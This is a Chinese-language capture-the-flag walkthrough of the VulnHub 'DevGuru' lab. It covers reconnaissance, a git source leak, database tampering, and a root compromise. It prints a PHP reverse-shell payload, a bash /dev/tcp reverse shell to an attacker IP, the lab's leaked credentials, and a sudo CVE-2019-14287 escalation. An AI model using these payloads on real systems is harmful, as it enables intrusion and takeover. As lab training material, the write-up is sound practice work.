vulnhub系列:devguru
一、信息收集
nmap扫描存活,根据mac地址寻找IP
nmap 192.168.23.0/24

nmap扫描端口,开放端口:22、80、8585
nmap 192.168.23.147 -p- -sV -Pn -O

访问80端口

dirb目录扫描,存在 git 源码、
dirb http://192.168.23.147/

拼接发现数据库登录页面

发现登录页面

拼接/.git/config,发现8585端口的路径

拼接,是8585端口的页面

拼接/.git/description,提示通过编辑 description 库来命名数据库

找不到其他东西,扫一下 8585 端口的目录
搜索框

也没扫出什么东西,看一下80端口的 git 源码泄露,Githack 下载查看

源码中发现 mysql 账号密码

成功登录数据库

发现 frank 用户,但是密码破解不出来,直接添加一个用户


设置权限

添加用户后无法登录,john 解码发现密码为 bcrypt 加密发现密码,设置密码时需要选择 encrypt ,修改后成功登录

二、getshell
在 cms -> pages 可以写入语句,这里我在 about 中写入语句
function onStart(){
$s=fsockopen("192.168.195.130",7777);
$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);
}

kali监听4444端口,然后访问页面的about路径

成功反弹shell

三、提权
使用python提升交互性
python3 -c "import pty;pty.spawn('/bin/bash')"

尝试提权失败,/home 目录下有一个 frank 目录,也没有权限进入
/var/backups 下发现 app.ini.pak,查看内容

得到 gitea 账号密码
gitea:UfFPTF8C8jjxVF2m
返回 adminer.php 页面,登录

user 表下发现 frank 用户,密码 bcrypt 加密

将密码修改为同样 bcrypt 加密的,123456
https://www.bejson.com/encrypt/bcrpyt_encode/
$2a$10$vVQiseY5ZaYAwCcbgXJRpOxOhqXtXfN2SvsjW3vG3AXWw3R.LESIe

将密码修改

访问 8585端口的 /user/login 进行登录


登录后点击


在其中写入反弹 shell 语句
bash -c "exec bash -i >& /dev/tcp/192.168.23.133/4444 0>&1"

下方点击保存

kali 开启监听
nc -lvnp 4444

返回前几个路径,随便修改一个文件,保存后即可反弹shell

在 /home/frank 下发现第一个 flag 文件

查看当前权限
sudo -l

发现 sqlite3 命令能执行 root 权限,执行命令
sudo sqlite3 /dev/null '.shell /bin/sh'
提权失败,百度搜了一下,是由于 sudo 版本问题导致,查看 sudo 版本
sudo -V

又查了一下,sudo 版本低于 1.8.27,存在 CVE-2019-14287 漏洞,执行命令,提权成功
sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'

在 /root 下发现第二个 flag
